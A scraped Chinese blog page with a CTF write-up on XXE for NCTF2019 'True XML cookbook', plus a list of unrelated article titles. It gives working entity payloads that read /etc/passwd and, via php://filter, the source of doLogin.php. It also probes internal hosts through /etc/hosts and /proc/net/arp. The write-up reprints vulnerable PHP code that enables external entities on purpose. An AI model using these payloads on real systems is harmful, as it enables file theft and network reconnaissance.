当前位置: 首页 > news >正文

[NCTF2019]True XML cookbook

考点:XXE 浅谈XML实体注入漏洞
参考做过的上一道题:[NCTF2019]Fake XML cookbook

定义恶意外部实体,在原本的XML数据中进行引用

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
]>

在已经存在的< username>标签中可以进行调用,使用&admin;即可
在这里插入图片描述
尝试使用file://协议读取flag
失败,而且有报错,泄露了源码路径:/var/www/html/doLogin.php
在这里插入图片描述
可以用php伪协议读取源码:

php://filter/convert.base64-encode/resource=/var/www/html/doLogin.php

在这里插入图片描述
解码得到源码:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

好像没什么用…

说明flag可能不在根目录下,xxe可以内网探测存活的主机,获取/etc/hosts文件,分别读取关键文件:/etc/hosts 和 /proc/net/arp:
在这里插入图片描述
在这里插入图片描述
发现2个ip
尝试使用http协议访问,发现报错
使用intruder模块爆破C段即可
在这里插入图片描述
这里不知道为啥没爆破出来,但方法就是这样

相关文章:

  • 湖仓一体电商项目(十二):编写写入DM层业务代码
  • 遥感生态指数(RSEI)——四个指数的计算
  • 9--RNN
  • JDBC的使用
  • 《Mycat分布式数据库架构》之数据切分实战
  • SpringBoot使用spring.config.import多种方式导入配置文件
  • 【框架】Spring Framework :SpringBoot
  • Linux内核之waitqueue机制
  • 前端面试:webpack整理
  • 7. PyEcharts
  • springboot启动报错:Failed to start bean ‘documentationPluginsBootstrapper‘
  • 5、Kafka海量日志收集系统架构设计
  • Linux命令--压缩/解压缩--使用/实例
  • Lua脚本如何调用C/C++模块,Windows以及Linux版本演示
  • springboot+jsp球队球员比赛数据管理系统java
  • bootstrap创建登录注册页面
  • CODING 缺陷管理功能正式开始公测
  • Github访问慢解决办法
  • If…else
  • JavaSE小实践1:Java爬取斗图网站的所有表情包
  • JAVA多线程机制解析-volatilesynchronized
  • magento 货币换算
  • Material Design
  • OpenStack安装流程(juno版)- 添加网络服务(neutron)- controller节点
  • PaddlePaddle-GitHub的正确打开姿势
  • Terraform入门 - 1. 安装Terraform
  • 道格拉斯-普克 抽稀算法 附javascript实现
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 给Prometheus造假数据的方法
  • 理解 C# 泛型接口中的协变与逆变(抗变)
  • 聊聊spring cloud的LoadBalancerAutoConfiguration
  • 一个项目push到多个远程Git仓库
  • kubernetes资源对象--ingress
  • scrapy中间件源码分析及常用中间件大全
  • ​queue --- 一个同步的队列类​
  • # 数据结构
  • #LLM入门|Prompt#2.3_对查询任务进行分类|意图分析_Classification
  • #宝哥教你#查看jquery绑定的事件函数
  • #基础#使用Jupyter进行Notebook的转换 .ipynb文件导出为.md文件
  • #中的引用型是什么意识_Java中四种引用有什么区别以及应用场景
  • ${ }的特别功能
  • (2)(2.4) TerraRanger Tower/Tower EVO(360度)
  • (Matlab)使用竞争神经网络实现数据聚类
  • (Matlab)遗传算法优化的BP神经网络实现回归预测
  • (附源码)ssm基于jsp的在线点餐系统 毕业设计 111016
  • (力扣)1314.矩阵区域和
  • (力扣题库)跳跃游戏II(c++)
  • (未解决)jmeter报错之“请在微信客户端打开链接”
  • (转)JAVA中的堆栈
  • (转)甲方乙方——赵民谈找工作
  • (转)总结使用Unity 3D优化游戏运行性能的经验
  • .net framework 4.0中如何 输出 form 的name属性。
  • .NET I/O 学习笔记:对文件和目录进行解压缩操作
  • .NET 药厂业务系统 CPU爆高分析
  • .Net各种迷惑命名解释